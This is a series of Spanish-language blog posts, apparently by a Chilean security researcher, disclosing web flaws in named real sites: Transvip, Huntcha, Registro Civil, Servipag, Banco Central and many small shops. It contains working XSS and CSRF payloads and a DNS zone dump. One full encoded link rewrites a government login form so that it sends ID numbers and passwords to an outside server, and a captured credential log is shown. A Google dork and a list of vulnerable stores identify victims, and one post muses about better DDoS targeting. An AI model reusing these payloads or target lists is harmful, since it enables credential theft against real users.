Me llamó la atención el dispositivo ya que parecia que tenía un navegador web y no era el típico gps, asi que me acerqué y para ver que era realmente

Me di cuenta que si era un navegador web, conectado a la URL transnet480.transvip.cl. Lo primero que se me vino a la cabeza fue “un sistema interno de reservas, una intranet“. Intenté conectarme desde el telefono y pude ver lo mismo que se veia en esa pantalla del chofer. Me llamó la atención que a ese sistema, donde supuestamente debería poder ingresar sólo personal de la empresa, sea accesible publicamente simplemente con la URL. Sin ningun tipo de filtro ni control de acceso.
Seguí investigando y descubri algunas otras fallas en los servicios de internet de esta empresa, por ejemplo, usan los dns de Centropuerto, ns.centropuerto.cl, los cuales son vulnerables a ataques de transferencia de zonas (AXFR), pudiendo conocer los subdominios del dominio transvip.cl, donde aparecen varios que podrian ser de utilidad como test, convenios o transnet480:

clientes.transvip.cl.    38400    IN    CNAME    www.transvip.cl.
convenios.transvip.cl.    38400    IN    CNAME    www.transvip.cl.
cp.transvip.cl.        38400    IN    CNAME    www.transvip.cl.
exchange.transvip.cl.    38400    IN    CNAME    srv-exchange.transvip.cl.
gestion.transvip.cl.    38400    IN    CNAME    www.transvip.cl.
mail.transvip.cl.    38400    IN    A    200.111.172.44
mailing.transvip.cl.    38400    IN    CNAME    www.transvip.cl.
movil.transvip.cl.    38400    IN    CNAME    www.transvip.cl.
srv-exchange.transvip.cl. 38400    IN    A    200.111.172.44
test.transvip.cl.    38400    IN    CNAME    www.transvip.cl.
transnet480.transvip.cl. 38400    IN    CNAME    www.transvip.cl.
www.transvip.cl.    38400    IN    A    200.111.172.46

Intenté comunicarme con alguien encargado de informática o algo parecido, pero no hubo respuesta por parte de ellos. Además de indicarles estos problemas de seguridad, tambien iba a reportarles algunas vulnerabilidades web encontradas como un Cross-Site Scripting en el sitio transnet480:

Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:

Política de Privacidad

En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la empresa respeta el deber de proteger los datos de carácter privado y personales de los usuarios, no dando acceso a ellos al público a menos que el propio usuario los de a conocer, por medio de la página web bajo su consentimiento, no pudiendo hacer responsable a la empresa por la información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales tomando todas las medidas necesarias para esto, a fin de evitar la pérdida, mal uso o cualquier apropiación indebida de estos mismos.

Lo que más me llama la atención es que segun ellos, son 100% privados y seguros:

Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% no existe.

He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.

Las vulnerabilidades son Cross-Site Request Forgery (CSRF) y Cross-Site Scripting (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a “tus amigos” para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.

Uno de los XSS detectados está en la página de error, cuando no encuentra el “módulo”

El segundo Cross-Site Scripting, lo encontré al momento de configurar el “Boss-Mode”

Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un “mensaje” enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).

Si falsificamos ese formulario y lo corremos de forma local, con un simple html:

<form method=post action=http://www.huntcha.com/?c=app&m=send_invitation>
Token Falso: <input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391><br>
Nombre: <input type=text name=name value=”AAA”><br>
Destino: <input type=text name=mail value=panic@zerial.org><br>
Mensaje: <input type=text name=message value=”hola<a href=’http://www.huntcha.com/?c=index&m=bossmode_denied&url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl’>AAA</a>”><br>
<input type=submit>
</form>

El formulario nos quedaría de la siguiente forma:

Cuando le damos a “Submit query”, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.

En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.

La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a cualquier portal o sitio web. Hoy en día todas las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.

El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.

Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference 8.8 para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una “entidad reguladora” es capaz de hacer entender a los responsables y encargados.

Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el robo de credenciales y suplantación de identidad.

Este fallo afecta a la página de autentificación de certificados en línea

En el cual es posible modificar la función el botón “Ingresar”, para que nos envíe la información de identificación a un sitio externo.

La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el dominio original y real del Registro Civil, incluso su certificado de “seguridad” SSL. La URL maliciosa tiene la forma

https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX

Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable “pag” y sobreescribir la función javascript “ingresar()”.

En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación

El nombre de usuario/rut
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E

La password
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E

Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón “Ingresar”, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc’; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(‘rut: ‘ %2b _a %2b ‘ password: ‘ %2b _b); }</script><script>

Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador

Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.

Modificaremos la función “ingresar()” de forma tal que nos envie la información del formulario al dominio zerial.org (de pruebas), usando el siguiente código javascript:

pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}

Se lo inyectamos a la URL vulnerable:

var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E

Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:

x.x.x.x – - [xx/Nov/2011:xx:xx:xx -0300] “GET /PoC_RegCivil?tipoAyuda=&runOI=1544345&dvOI=&passwordOI=prueba HTTP/1.1″ 200 1529 “-”"

Podemos ver donde dice runOI y passwordOI, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario

RUT: 1544345
Password: prueba

Finalmente, la URL maliciosa tendría la forma:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45

Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.

ACTUALIZADO (3 de Diciembre): Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.

Como siempre, hay que hacer publicas las fallas para que le den solucion.

Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas

La diferencia que existe entre las Reportadas y las Sin Reportar, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de “consultas” y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.

Los sitios web que realmente deberian tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.

De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting

Es curioso, ya que una es client-side (xss) y la otra server-side (sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.

La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el crash de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.

Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:

Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus clientes alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.
Con eCommerce, me refiero a sitios que ofrecen “comercio por internet”, como PC Factory, Falabella, Ripley, etc.
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.

El último gráfico, corresponde a sitios segun su pais o dominio

No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.

Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.

Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante phishing, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.

La vulnearbilidad se encuentra en el archivo “error.php” y se produce al no filtrar los parametros de entrada mediante las variables “p” y “s“. El script simplemente imprime el valor de las variables, sin filtrarlas ni escapar caracteres, permitiendo XSS.

Una lista de algunos sitios afectados:

abysinvitationsprintshop.com
accesorioselauto.com
adobetecnoterra.com
adrenalinamotor.mx
akarienlinea.com
aldebaranuno.com
aleissi.mx
anabolicstorexpress.com
ankah2o.com
antibalastucomprasegura.com
aquatica-online.com
armarecuerdoseinvitaciones.com
armyatvstore.com
babybodega.mx
bazar12.com
beerandfashionmexico.com
bellezanutritiva.com.mx
bichitour.com
bienesraicespremium.com
bigjockey.com
billyoplazapiel.com
blancoscorona.com
bricks-store.com
cajasybolsas.com
caramolli.com
cavaboutique.com
ceciliamartinezgarza.com
centralnt.com
colofoninfantil.com
comercialdeestanteria.com.mx
comerciantes.mx
compraconplazo.com
compupagos.com.mx
compuventa-online.com
contitech-solutions.com
cosasdeingenieria.com
decocuadros.com.mx
dekocuadros.com
deyacut.com
digielectronik.com
distribuidorazaqueo.com
diveencounters.mx
doshik.com
e-tronic-shop.com
edicionesuromex.com
elgloborojotienda.com
ellamodas.com
elmundodelasfajas.com
enac-audio.com
enelbazarxalapa.com
entradaxsalida.com
enviamiregalo.com
eplaza.com.mx
fantasias-daniel.com
farmaciadelnino.com
fashion1services.com
fastlapstore.com
fermentando.com.mx
florerialorena.com
forjasdesign.com
fraganciamania.com.mx
fvi.mx
gadgetmex.com
galeriagalamania.com
globaris-shop.com
grupocomputacionaldeco.com
grupoelrey.com
gscomputadoras.com
hogarynegocio.com
hypnosefashionstore.com
imperiusarts.com
importacionesecm.com
indumaqsa.com
infoxweb.com
inhaus.mx
irrealcandybar.com
its-acapulco.com
javoil.com
joyeriasagara.com
julianna-jewelry.com
kingmonstermty.com
kiutstore.com
konexionmusical.com
lacombasoccer.com
ladecimaletragdl.com
lapsrepairs.com
lasmatadoras.com
libros.com.mx
liderpowertools.com
lizfloreria.com
lunerougeboutique.com
maimaitienda.com
mandycreaciones.com
manikin-online.com
maniquiesonline.com
maquinariaexpress.com
megapixelcomputadoras.com
mercaditoparati.com
mexi-cali.net
modayregalos.com
mothernity.com.mx
mtystore.com
muebleriamaya.com
mundoescolar11.com
mydogpharma.com
naturatoshop.com
naturenmexico.com
nochederio.com
onlineplayeras.com
ouletgnc.com
pa-xi.com
paraleer.com
pasatiempo-juguetes.com
petnc.com
pinnacleventa.com
plazamesonesvirtual.com
pro-limp.com
prodoorventas.com
psmodelismo.com
r3silencia.com
raqmar.com.mx
rcomunicaciones.com
recuerdosybolos.com
reducingbodysiluet.com
regala123.com
regala123.com.mx
regalosconvida.com
reguladoresypcs.com
safetystoremexico.com
seducelo.com
seducelo.com.mx
setfi.us.com
sexylencerias.com
shop4evermx.com
siaproductos.com
sistemascompac.com
sitesirve.com
smart-atic.com
solarislabs.com
solodebateria.com
spixalapa.com
sportjordan.com
store-htpro.com
sunlounge.com.mx
taipacificoimportaciones.com
techosmas.com
tecnologiailimitada.com
tenisclubcolombia.com
thecellulardepot.com
theredzone.com.mx
tienda128.mystorexpress.com
tienda573.mystorexpress.com
tiendabolsasbichat.com
tiendadicer.com
tiendaenriko.com
tiendaofficeadm.com
tiendapetmark.com
tiendatn.com
tinkert.com
todocompu.com
transfermania.com.mx
treneshodemexico.com
treneshodetexas.com
trovarti.com
tucalentadordepaso.com.mx
tumejorcompra.net
tumueblebarato.com
tumundodeportivo.com
vinilium.com
winemexsa.com

Para buscar la lista completa de los sitios afectados, puedes realizar la siguiente busqueda en Google:

inurl:mystore inurl:error.php filetype:php

Tambien se reportaron algunas vía secureless.

La empresa que está detras de este sistema ya ha sido notificada.

El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure sobre las vulnerabilidades para denunciar este tipo de hechos.

El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.
El XSS que encontré, está en el archvo rim/default.asp en el subdominio si2.bcentral.cl.

Como prueba de concepto, incrustaré un ‘iframe’ con el sitio web de Google dentro del sitio del Banco Central

Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio “seguro“.

Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.

La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección “Base de datos economicos”, que al parecer ya ha sido corregido.

Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.

Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable “Rut” es posible inyectar código javascript y poner en riesgo al usuario.

El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los “XSS visual” no afectan al usuario:

Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.

La vulnerabilidad se encuentra especificamente en la URL http://www.servipag.com/browse.asp?pagina=web/registro1.htm. El sitio autocompleta el campo “rut” según el valor pasado por GET mediante la variable “Rut”, por ejemplo, si ingresamos a http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1313&BuscaDatos=2 veremos que nos completa el rut de la siguiente forma

Y si vemos el código fuente, nos muestra:

Por lo tanto, si en lugar de “Rut=1313″ pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función “Reset()”, sin embargo, el desarrollador de servipag puso un estúpido inutil filtro que es demasiado fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos ‘; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.

La sintáxis que usaremos para explotar la vulnerabilidad será 1212′;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/* la cual nos generará un código fuente similar a:

Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.

Finalmente, la URL vulnerable es http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1212′;}/**/window.stop();confirm(/Servipag_XSS?/);/*=’&BuscaDatos=2.

ACTUALIZADO (12 DE SEPT 14:08hrs)

Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.

Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.

Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos … PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.

Que tipo de información podemos ver aqui?

1. Se refiere al “cliente” como “Usuario”, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.
2. El banco mediante el cual se hace el pago.
3. Empresa o servicio que se paga.
4. Monto, fecha y ID del pago realizado.

Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago … en fin, una serie de información que nadie tendría que saber.

Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del 68012208:

Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.

No es esto poner en riesgo los datos de los usuarios?

La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.

Cual es el potencial riesgo de estas dos vulnerabilidades juntas?

Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.

Nuevamente, Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.

ACTUALIZADO Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:

Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.

ACTUALIZADO (6 de Septiembre)
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para “obligarlos” a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:

http://www.secureless.org/vulnerability/2034/

Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia “servicios” y no a “sitios”, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar “ataque organizado” porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.

El gobierno chileno tiene muchas brechas de seguridad informática y de la información, es por esto que me hago la pregunta, ¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?, la respuesta clara es: NO. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple firewall que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que “todas las entidades del gobierno tienen fallos de seguridad”, pero me refiero al gobierno en general.

Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias gracias.

El gobierno chileno es muy vulnerable a la fuga y robo de información (data leak, data theft).

Fuga de Información o Data Leak
Basta con preparar un dork lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o dumps de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.

Robo de Información o Data Theft
Asimismo, tambien es vulnerable al robo de información o Data Theft, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos empleados publicos tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.
Se han preguntado si la información que se da de baja realmente se destruye?
- Qué información podemos encontrar en los basureros diariamente? Sería bueno hacer ese ejercicio …
- Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?
- Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?

Servidores y Servicios
Si hablamos de la seguridad a nivel de servidores y servicios, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.

Vulnerabilidades Web
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. Muchos sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, Arbitrary File Upload. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como “Full Path Disclosure + Arbitrary File Upload + Directory Traversal” para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.

El caso del Ministerio del Interior
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra “pregunta”, se guardaba sin filtrar ni parsear en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.
Esta vulnerabilidad fue corregida despues de haberla reportada.

El caso de la Dirección General de Movilicación Nacional (DGMN)
La DGMN expone desde el 2007 la base de datos del registro del servicio militar, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.

Si en Chile el grupo “Anonymous” estuviese conformado por hackers con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –”

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

http://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

